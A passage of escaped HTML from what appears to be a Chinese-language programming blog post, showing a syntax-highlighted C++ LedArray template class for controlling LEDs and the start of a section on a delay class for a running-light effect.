class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e74\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etemplate\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003esize_t\u003c/span\u003e \u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eLedArray\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eLedArray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003earray\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eleds\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eleds\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eN\u003c/span\u003e\u003cspan class=\"p\"\u003e){};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eLedArray\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eresetAll\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eprintCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;index: %d, compare: %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esetCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecustomAssert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetArrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eComparison\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEqual\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003etoggleLeds\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecustomAssert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetArrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eComparison\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEqual\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esetTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecustomAssert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetArrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eComparison\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEqual\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetTask\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexecTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexecTask\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"延时执行类-delay\"\u003e延时执行类 Delay\u003c/h2\u003e\n\u003cp\u003e为了实现 流水 效果, 需要延时(每隔几次运行一次)来执行\u003c/p\u003e\n\u003cp\u003ehpp\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan 